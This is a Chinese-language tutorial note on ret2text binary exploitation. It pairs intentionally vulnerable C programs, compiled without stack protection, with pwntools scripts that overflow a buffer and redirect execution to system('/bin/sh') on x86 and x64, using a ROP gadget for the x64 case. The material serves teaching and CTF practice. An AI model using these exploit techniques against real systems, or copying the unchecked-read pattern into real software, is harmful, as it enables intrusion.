pwn笔记 - ret2text - 函数传参(x86x64)

注: ret2text即控制返回地址指向程序本身已有的的代码(.text)并执行。


例题1部署(无需函数传参情况)

#include
#include
#include
char shell[] = "/bin/sh";
int func(char *cmd){system(shell);return 0;
}int dofunc(){char a[8]={};write(1,"inputs: ",7);read(0,a,0x100);return 0;
}int main(){dofunc();return 0;
}

 生成64位可执行文件,-no-pie 去除地址随机化,-fno-stack-protector去除canary机制溢出保护。

gcc ret2text_func.c -no-pie -fno-stack-protector -o ret2text_func_x86_1

checksec检查一下,没有问题

看代码可以很容易发现,func函数中就有可以直接调用的system函数,且其参数shell = “/bin/sh”已经满足getshell需求。且未开启溢出保护,只需要利用read函数通过dofunc中的参数a溢出覆盖返回地址将其引导到func的地址即可。

利用ida简单查看一下偏移量为0x8+0x8 = 0x10。

 gdb查看func地址为0x401146

 书写payload并运行,很容易得到shell

from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')#打开路径
io = process('./test')
#调试信息
#gdb.attach(io)
#pause()#注入信息
payloadtext = 0x401146
padding = 0x10
payload = padding*b'a' + p64(payloadtext)
dem = b'inputs: \n'
io.sendlineafter(dem,payload)
io.interactive()

 例题2部署(函数传参)

多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起。代码如下

#include
#include
#include
char shell[] = "/bin/sh";
int func(char *cmd){system(cmd);//不同处return 0;
}int dofunc(){char a[8]={};write(1,"inputs: ",7);read(0,a,0x100);return 0;
}int main(){dofunc();return 0;
}

准备好x86和x64两种可执行文件

gcc -m32 ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x86
gcc ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x64 

函数调用约定

_cdecl:        c/c++默认方式,参数从右向左入栈,主调函数负责栈平衡。

_stdcall:        Windows API方式,参数从右向左入栈,被调函数负责栈平衡。

_fastcall:        快速调用方式。即将参数优先从寄存器传入(ecx和edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于cpu内,存取快于内存。

这里讲述默认的gcc调用约定_cdecl的一些特点。

 x86

  • 使用栈传递参数
  • 使用eax存放返回值

x64

  • 前六个参数依次存放于rdi,rsi,rdx,rcx,r8,r9中
  • 多余的参数存放于栈中

x86题解方法

对于函数传参的函数,其栈格式为

 故而我们需要利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。具体原因在文章末尾体现。

现在利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解)

书写payload:

from pwn import *
#配置信息
context(log_level='debug',arch='i386',os='linux')
#context(arch='arm64',os='linux')#打开路径
file = './ret2text_func2_x86'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
#gdb.attach(io)
#pause()#注入信息
sh_addr = 0x804c018
#ret_addr = 0x8049186
ret_addr = elf.symbols['func']padding = 0x14
payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()

 成功


x64

对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。

ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

知道了ROP工具的功能,我们需要做的是

  1. 修改rdi的值(可使用代码pop rdi ; ret)
  2. 在栈中放入‘bin/sh’经由pop提交给rdi
  3. 进入func函数内调用system函数

利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解):

 利用ROPgadget查找需要的代码行--pop rdi ; ret

ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'

 构造payload:

from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')#打开路径
file = './ret2text_func2_x64'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
gdb.attach(io)
pause()#注入信息
sh_addr = 0x404028
#ret_addr = 0x401146
ret_addr = elf.symbols['func']
pop_rdi_ret = 0x40121bpadding = 0x10
payload = padding*b'a' + p64(pop_rdi_ret) + p64(sh_addr)+ p64(ret_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()

运行成功pwn掉 

 


x86题解补充疑问

对于本题的函数传参,我们的栈帧构造初步想法如图

ebp‘aaaa’
rreturn to func
参数一“/bin/sh”
  1. 输入适量垃圾填充 padding * b 'a'
  2. 覆盖返回地址指向func函数 p32(ret_addr)
  3. 参数"/bin/sh"地址

则payload =  padding*b'a' + p32(ret_addr)  + p32(sh_addr)

然而这样的脚本在攻击时会出错。原因在于:

正常的函数调用call来达到push eip;jmp的作用,经过初步payload构造的攻击如下图所示,是通过覆盖return达到jmp的作用的,并没有像call一样push eip到栈中。

 故而ret执行后,ebp后为我们输入的参数而非eip原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用ret2text覆盖pwn题时候,需要自行加入一行栈帧的填充。

 


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部